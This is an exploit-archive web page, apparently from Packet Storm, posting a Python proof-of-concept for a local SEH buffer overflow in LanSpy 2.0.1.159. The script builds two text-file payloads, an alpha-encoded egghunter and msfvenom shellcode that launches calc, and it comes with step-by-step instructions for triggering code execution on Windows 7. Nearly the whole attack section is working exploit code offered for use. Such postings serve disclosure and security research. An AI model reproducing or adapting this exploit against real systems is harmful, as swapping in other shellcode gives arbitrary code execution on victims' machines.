what you don't know can hurt you

LanSpy 2.0.1.159 Buffer Overflow

LanSpy 2.0.1.159 Buffer Overflow
Posted Dec 20, 2018
Authored by bzyo

LanSpy version 2.0.1.159 SEH buffer overflow exploit with egghunter shellcode.

tags | exploit, overflow, shellcode
MD5 | e24be56b77f08aec271e87869258bcc2

LanSpy 2.0.1.159 Buffer Overflow

Change Mirror Download
# Exploit Title: LanSpy 2.0.1.159 - Local Buffer Overflow (SEH) (Egghunter)
# Exploit Author: bzyo
# Date: 12-19-18
# Twitter: @bzyo_
# Vulnerable Software: LanSpy 2.0.1.159
# Vendor Homepage: https://lizardsystems.com
# Version: 2.0.1.159
# Software Link 1: https://www.exploit-db.com/apps/70a780b78ee7dbbbbc99852259f75d53-lanspy_setup_2.0.1.159.exe
# Software Link 2: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. copy/paste calcpayload.txt contents into scan section of app
# 3. remove previous search contents
# 4. copy/paste egghpayload.txt contents into scan section of app
# 5. wait for egg to be found
# 6. pop calc

# was working on this when i saw seh poc published
# submitting for the lulz

# original dos poc from Gionathan "John" Reale, EDB: 45968
# original seh poc from Juan Prescotto, EDB: 46009

#badchars; 0's 1's and 20; maybe more?

#!/usr/bin/python

import struct

file1="calcpayload.txt"
file2="egghpayload.txt"

#egghunter payload
junk3 = "A"*506

#125 bytes encoded egghunter 'BZYO'
#msfvenom -p generic/custom PAYLOADFILE=eggh -e x86/alpha_mixed -f python
eggh = ""
eggh += "\x89\xe5\xdd\xc2\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
eggh += "\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37"
eggh += "\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
eggh += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
eggh += "\x50\x38\x41\x42\x75\x4a\x49\x62\x46\x6e\x61\x6b\x7a"
eggh += "\x39\x6f\x34\x4f\x71\x52\x76\x32\x63\x5a\x45\x52\x63"
eggh += "\x68\x6a\x6d\x54\x6e\x37\x4c\x54\x45\x31\x4a\x30\x74"
eggh += "\x78\x6f\x78\x38\x42\x6f\x50\x59\x43\x6a\x53\x72\x6c"
eggh += "\x4b\x68\x7a\x6e\x4f\x31\x65\x4a\x4a\x6e\x4f\x31\x65"
eggh += "\x4b\x57\x6b\x4f\x6b\x57\x41\x41"

#jump to eggh
jmp2 = "\xe9\x30\xff\xff\xff"

junk2 = "\xcc"*6

#jump to jmp2
jmp1 = "\xcc\xcc\xeb\xf1\xcc\xcc"

junk1 = "\xcc"*16

#jump to jmp1
nseh = "\xeb\xea\xcc\xcc"

#0x00458148 : pop ecx # pop ebp # ret 0x04
seh = struct.pack('<L',0x00458148)

#10 nops
nops = "\x90"*10

egghpayload = junk3 + nops + eggh + nops + jmp2 + junk2 + jmp1 + junk1 + nseh + seh

#calc payload
calcjunk1 = "D"*26

#8 byte egg
bzyo = "OYZBOYZB"

#440 bytes for calc
#msfvenom -p windows/exec CMD="calc" -e x86/alpha_mixed -f python
calc = ""
calc += "\x89\xe2\xdd\xc5\xd9\x72\xf4\x58\x50\x59\x49\x49\x49"
calc += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
calc += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
calc += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
calc += "\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x58\x68\x6f"
calc += "\x72\x63\x30\x53\x30\x55\x50\x45\x30\x4b\x39\x79\x75"
calc += "\x54\x71\x39\x50\x33\x54\x4e\x6b\x52\x70\x66\x50\x6c"
calc += "\x4b\x73\x62\x34\x4c\x4c\x4b\x71\x42\x32\x34\x4c\x4b"
calc += "\x71\x62\x47\x58\x34\x4f\x4e\x57\x62\x6a\x46\x46\x35"
calc += "\x61\x6b\x4f\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x74\x42"
calc += "\x76\x4c\x71\x30\x4f\x31\x68\x4f\x76\x6d\x77\x71\x7a"
calc += "\x67\x5a\x42\x58\x72\x56\x32\x32\x77\x4c\x4b\x43\x62"
calc += "\x52\x30\x6e\x6b\x30\x4a\x67\x4c\x4c\x4b\x50\x4c\x34"
calc += "\x51\x44\x38\x49\x73\x50\x48\x35\x51\x5a\x71\x76\x31"
calc += "\x6c\x4b\x66\x39\x37\x50\x33\x31\x78\x53\x6c\x4b\x53"
calc += "\x79\x57\x68\x69\x73\x56\x5a\x77\x39\x4e\x6b\x46\x54"
calc += "\x6c\x4b\x56\x61\x6a\x76\x30\x31\x4b\x4f\x4c\x6c\x49"
calc += "\x51\x48\x4f\x44\x4d\x47\x71\x59\x57\x65\x68\x4b\x50"
calc += "\x52\x55\x69\x66\x34\x43\x71\x6d\x4b\x48\x37\x4b\x63"
calc += "\x4d\x66\x44\x70\x75\x4b\x54\x63\x68\x4c\x4b\x70\x58"
calc += "\x31\x34\x75\x51\x4a\x73\x45\x36\x6e\x6b\x76\x6c\x42"
calc += "\x6b\x4e\x6b\x32\x78\x67\x6c\x57\x71\x59\x43\x4e\x6b"
calc += "\x47\x74\x4e\x6b\x45\x51\x68\x50\x4d\x59\x30\x44\x34"
calc += "\x64\x61\x34\x43\x6b\x31\x4b\x61\x71\x70\x59\x70\x5a"
calc += "\x70\x51\x6b\x4f\x79\x70\x61\x4f\x43\x6f\x42\x7a\x6e"
calc += "\x6b\x47\x62\x48\x6b\x4c\x4d\x31\x4d\x52\x4a\x77\x71"
calc += "\x4e\x6d\x6f\x75\x6e\x52\x53\x30\x65\x50\x57\x70\x30"
calc += "\x50\x50\x68\x50\x31\x6e\x6b\x52\x4f\x4f\x77\x39\x6f"
calc += "\x69\x45\x4f\x4b\x68\x70\x6f\x45\x39\x32\x36\x36\x52"
calc += "\x48\x4e\x46\x6c\x55\x6d\x6d\x4f\x6d\x49\x6f\x4a\x75"
calc += "\x57\x4c\x36\x66\x53\x4c\x35\x5a\x4f\x70\x49\x6b\x39"
calc += "\x70\x53\x45\x74\x45\x6f\x4b\x71\x57\x45\x43\x33\x42"
calc += "\x70\x6f\x52\x4a\x65\x50\x66\x33\x59\x6f\x7a\x75\x55"
calc += "\x33\x33\x51\x32\x4c\x65\x33\x33\x30\x41\x41"

calcjunk2 = "E"*30

calcpayload = calcjunk1 + bzyo + calc + calcjunk2

textfile = open(file1 , 'w')
textfile.write(calcpayload)
textfile.close()
textfile = open(file2 , 'w')
textfile.write(egghpayload)
textfile.close()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    8 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close